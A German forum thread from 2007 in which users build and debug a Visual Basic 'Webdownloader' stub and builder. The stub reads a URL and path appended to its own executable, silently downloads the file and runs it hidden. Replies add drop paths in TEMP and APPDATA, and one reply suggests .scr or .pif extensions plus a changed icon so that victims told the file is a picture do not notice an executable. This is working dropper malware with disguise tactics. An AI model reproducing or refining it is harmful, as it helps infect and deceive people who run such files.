|
| Autor |
Nachricht |
big earl_ Coder


Anmeldedatum: 11.05.2007 Beiträge: 208
|
Webdownloader Builder
Verfasst am: 26.10.2007, 12:46 |
|
|
Also da ich das mit dem Builder toll finde wollte ich gleich ma einen Webdownloader dazu machen
Aber i-wie kommen dort noch errors
Eigentlich nur einer (leider weis ich nicht wo der fehler ist)
Server:
[vb:1:ab310278b7]Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
Dim options As String * 100
Dim CMD() As String
Dim link As String
Dim pfad As String
Open (App.Path + "\" + App.EXEName + ".exe") For Binary As #1
Get #1, LOF(1) - 99, options
Close #1
CMD() = Split(options, "#")
link = CMD(0)
pfad = CMD(1)
iReturn = URLDownloadToFile(0, link, pfad, 0, 0)
Shell pfad, vbHide
End
End Sub[/vb:1:ab310278b7]
Builder:
[vb:1:ab310278b7]Private Sub build(pfad As String)
On Error GoTo err
Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM")
Open pfad For Binary As #1
Put #1, , buffer()
Close #1
Dim options As String * 100
options = Text1.Text + "#" + Text2.Text + "#"
Open pfad For Binary As #1
Put #1, LOF(1) + 1, options
Close #1
Call MsgBox("Die datei wurde erstellt !", vbInformation, "Message")
Exit Sub
err:
Call MsgBox("Fehler beim erstellen !", vbInformation, "Message")
End Sub
Private Sub Command1_Click()
build ("Downloader.exe")
Unload Me
End Sub[/vb:1:ab310278b7] |
|
| |
|
 |
sp1nh3ad_ Newbie

Anmeldedatum: 14.09.2007 Beiträge: 18
|
Verfasst am: 26.10.2007, 14:19 |
|
|
Kleiner Nachmacher, hab auch grade erst nen Webdownloader gemacht.
( Naja, is ja eigentlich nöx besonderes xD )
*Edit: Dann hab ich KP warum es nicht geht..
Zuletzt bearbeitet von sp1nh3ad_ am 26.10.2007, 15:48, insgesamt einmal bearbeitet |
|
| |
|
 |
big earl_ Coder


Anmeldedatum: 11.05.2007 Beiträge: 208
|
Verfasst am: 26.10.2007, 15:17 |
|
|
"+", "&" oder "AND" sind genau das selbe -.-
Aber ich kann das ja mal so probieren
edit:
also das runterladen geht noch aber das öffnen macht der nicht mehr |
|
| |
|
 |
The-God-of-all_ Poster

Anmeldedatum: 20.05.2007 Beiträge: 170 Wohnort: App.Path
|
Verfasst am: 26.10.2007, 17:30 |
|
|
| big earl hat Folgendes geschrieben: | | also das runterladen geht noch aber das öffnen macht der nicht mehr |
Dann liegtes wahrscheinlich daran, dass das Runter laden von Dateien eine Weile Dauert, der Code aber nicht darauf wartet das die Datei fertig runter geladen ist. |
|
| |
|
 |
big earl_ Coder


Anmeldedatum: 11.05.2007 Beiträge: 208
|
Verfasst am: 26.10.2007, 18:00 |
|
|
Also hier das selbe mit Sleep
[vb:1:5cfa3ec53c]Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
Dim options As String * 100
Dim CMD() As String
Dim link As String
Dim pfad As String
Open (App.Path & "\" + App.EXEName & ".exe") For Binary As #1
Get #1, LOF(1) - 99, options
Close #1
CMD() = Split(options, "#")
link = CMD(0)
pfad = CMD(1)
Sleep 5000
iReturn = URLDownloadToFile(0, link, pfad, 0, 0)
Shell pfad, vbHide
End
End Sub
[/vb:1:5cfa3ec53c]
Doch der macht immernoch nen error |
|
| |
|
 |
r4z3r_ « Webmaster »

Anmeldedatum: 06.02.2007 Beiträge: 252
|
Verfasst am: 27.10.2007, 09:04 |
|
|
es heißt
[vb:1:cb8b0721a8]Private Declare Function [/vb:1:cb8b0721a8]
und nicht
[vb:1:cb8b0721a8]Private Declare Sub[/vb:1:cb8b0721a8]
 |
|
| |
|
 |
The-God-of-all_ Poster

Anmeldedatum: 20.05.2007 Beiträge: 170 Wohnort: App.Path
|
Verfasst am: 27.10.2007, 12:59 |
|
|
Die Deklaration von Sleep ist in Ordnung weil Sleep hat ja keinen Rückgabe wert. Du machst aber einen anderen entscheidenden Fehler:
Das Programm lädt als erstes die Infos. Als nächstes wartet das Programm 5 Sekunden. Danach lädt das Programm die Datei runter. Dann startet das Programm die Datei ohne zu warten.
Pfad Variablen wären noch gut weil was machst du wenn der Benutzer kein Laufwerk C hat sondern Windows auf Laufwerk D Installiert hat?
Zuletzt bearbeitet von The-God-of-all_ am 27.10.2007, 13:12, insgesamt einmal bearbeitet |
|
| |
|
 |
r4z3r_ « Webmaster »

Anmeldedatum: 06.02.2007 Beiträge: 252
|
Verfasst am: 27.10.2007, 13:09 |
|
|
Jo hast recht, es geht auch mit Sub. Naja man lernt nie aus 
 |
|
| |
|
 |
big earl_ Coder


Anmeldedatum: 11.05.2007 Beiträge: 208
|
Verfasst am: 27.10.2007, 16:27 |
|
|
Lol jetzt sagt der mir das die Datei nicht gefunden worden ist
Und als ich ne test form mit diesem code gemacht habe
[vb:1:fbf09bfa42]Private Sub Command1_Click()
Shell ("C:\new.swf")
End Sub
[/vb:1:fbf09bfa42]
Kam error Argument nicht optimal
weis einer was das soll ? -.-
oder spinnt hier mein Shell befehl ? |
|
| |
|
 |
RUNY0N_ Tutorial Leser


Anmeldedatum: 19.05.2007 Beiträge: 53
|
Verfasst am: 27.10.2007, 23:11 |
|
|
| Das liegt daran das du mit der Shell funktion nur ausführbare dateien starten kannst wie zum Beispiel exe oder bat dateien, für andere dateien brauchst du die ShellExecute API |
|
| |
|
 |
big earl_ Coder


Anmeldedatum: 11.05.2007 Beiträge: 208
|
Verfasst am: 28.10.2007, 02:31 |
|
|
Also thx @ all in diesem thread das ihr mit geholfen habt ^^
und ich rate allen mal sich das TUT von ZIG anzugucken
es ist es wert ^^ |
|
| |
|
 |
DFJ_ Poster

Anmeldedatum: 15.10.2007 Beiträge: 156
|
Verfasst am: 28.10.2007, 16:49 |
|
|
| The-God-of-all hat Folgendes geschrieben: | Die Deklaration von Sleep ist in Ordnung weil Sleep hat ja keinen Rückgabe wert. Du machst aber einen anderen entscheidenden Fehler:
Das Programm lädt als erstes die Infos. Als nächstes wartet das Programm 5 Sekunden. Danach lädt das Programm die Datei runter. Dann startet das Programm die Datei ohne zu warten.
Pfad Variablen wären noch gut weil was machst du wenn der Benutzer kein Laufwerk C hat sondern Windows auf Laufwerk D Installiert hat? |
mh pfad variable , könnte man mit z.b den pw generator,
aber das wäre eigendlich nur ein zufalls pfad , besser wäre es windows zu suchen und den speichert ort festzu stellen , die frage ist wie geht das XD Spam bot |
|
| |
|
 |
big earl_ Coder


Anmeldedatum: 11.05.2007 Beiträge: 208
|
Verfasst am: 28.10.2007, 17:20 |
|
|
hiermit
[vb:1:413cc65de4] Private Declare Function GetWindowsDirectory Lib "kernel32" _
Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _
ByVal nSize As Long) As Long[/vb:1:413cc65de4]
und um den pfad anzuzeigen nimmt man
[vb:1:413cc65de4]WinDir()[/vb:1:413cc65de4] |
|
| |
|
 |
The-God-of-all_ Poster

Anmeldedatum: 20.05.2007 Beiträge: 170 Wohnort: App.Path
|
Verfasst am: 28.10.2007, 17:51 |
|
|
das geht noch einfacher: es gibt die Variable Environ, dort sind einige Dinge gespeichert, unter anderem einige Pfade. ich würde die Variablen mit der Funktion Replace ersetzen. Ich habe mal ein Beispiel Code geschrieben, der muss direkt unter pfad = CMD(1) eingefügt werden dann werden einige Variablen automatisch ersetzt:
[vb:1:8d50a74525]pfad = Replace(pfad, "%apppath%", App.Path)
pfad = Replace(pfad, "%tempdir%", Environ("TEMP"))
pfad = Replace(pfad, "%windir%", Environ("windir"))
pfad = Replace(pfad, "%appData%", Environ("APPDATA"))
pfad = Replace(pfad, "%systemdrive%", Environ("SystemDrive"))
pfad = Replace(pfad, "%programfiles%", Environ("ProgramFiles"))
pfad = Replace(pfad, "%alluserprofile%", Environ("ALLUSERPROFILE"))
pfad = Replace(pfad, "%userprofile%", Environ("USERPROFILE"))[/vb:1:8d50a74525]
Was ich an dem Webdownloader auch nicht gut finde ist das man die Datei Endung nicht ändern kann. das könnte man zum Beispiel so lösen:
[vb:1:8d50a74525]MyPath = App.Path & "\" & App.EXEName
If isFile(MyPath & ".exe") Then
MyPath = MyPath & ".exe"
ElseIf isFile(MyPath & ".scr") Then
MyPath = MyPath & ".scr"
ElseIf isFile(MyPath & ".com") Then
MyPath = MyPath & ".com"
ElseIf isFile(MyPath & ".pif") Then
MyPath = MyPath & ".pif"
End If
Open MyPath For Binary As #1[/vb:1:8d50a74525]
Der Code braucht die Funktion isFile:
[vb:1:8d50a74525]Private Function isFile(Path As String) As Boolean
Const NotFile = vbDirectory Or vbVolume
On Error Resume Next
isFile = (GetAttr(Path) And NotFile) = 0
On Error GoTo 0
End Function[/vb:1:8d50a74525] |
|
| |
|
 |
big earl_ Coder


Anmeldedatum: 11.05.2007 Beiträge: 208
|
Verfasst am: 28.10.2007, 18:06 |
|
|
Also das mit der endung geht
Was mir auch aufgefallen ist, ist das man unter dem Speicherpfad z.B new.jpg schreiben kann und der trotzdem die anwendung startet |
|
| |
|
 |
The-God-of-all_ Poster

Anmeldedatum: 20.05.2007 Beiträge: 170 Wohnort: App.Path
|
Verfasst am: 28.10.2007, 18:34 |
|
|
Ich meinte mit der Endung eigentlich die Endung von der erstellten Datei weil wenn ich eine Datei Downloade/ Kriege und mir gesagt wird das sei ein Bild und die Datei hat die Endung .exe dann merke ich das sofort und ich denke mal das Merkt jeder Sofort. Es gibt aber andere Datei Endungen die auch ausgeführt werden. Die Datei Endung .scr steht für Bildschirmschoner (Bildschirmschoner sind auch ausführbare Dateien!), die Endung .com steht für eine Dos Anwendung und hat den Nachteil das die Datei immer das Dos Symbol hat und die ERndung .pif hat auch was mit Dos zu tun (hat auch das Dos Symbol) aber den Vorteil das die Datei Endung nicht angezeigt wird. Deshalb würde ich in die Stub Datei vom Webdownloader eine Funktion einbauen das er überprüft welche Endung er hat.
Natürlich wird die .jpg Datei auch ausgeführt weil der Shell befehl die Datei einfach ausführt ohne zu prüfen ob das überhaupt eine Ausführbare Datei ist. Wenn du willst das auch Dateien geöffnet werden können dann musst du Shell Execute statt Execute nehmen. |
|
| |
|
 |
big earl_ Coder


Anmeldedatum: 11.05.2007 Beiträge: 208
|
Verfasst am: 29.10.2007, 04:42 |
|
|
Also an der endung werd ich ma arbeiten
an dem Icon wollte ich sowieso was machen |
|
| |
|
 |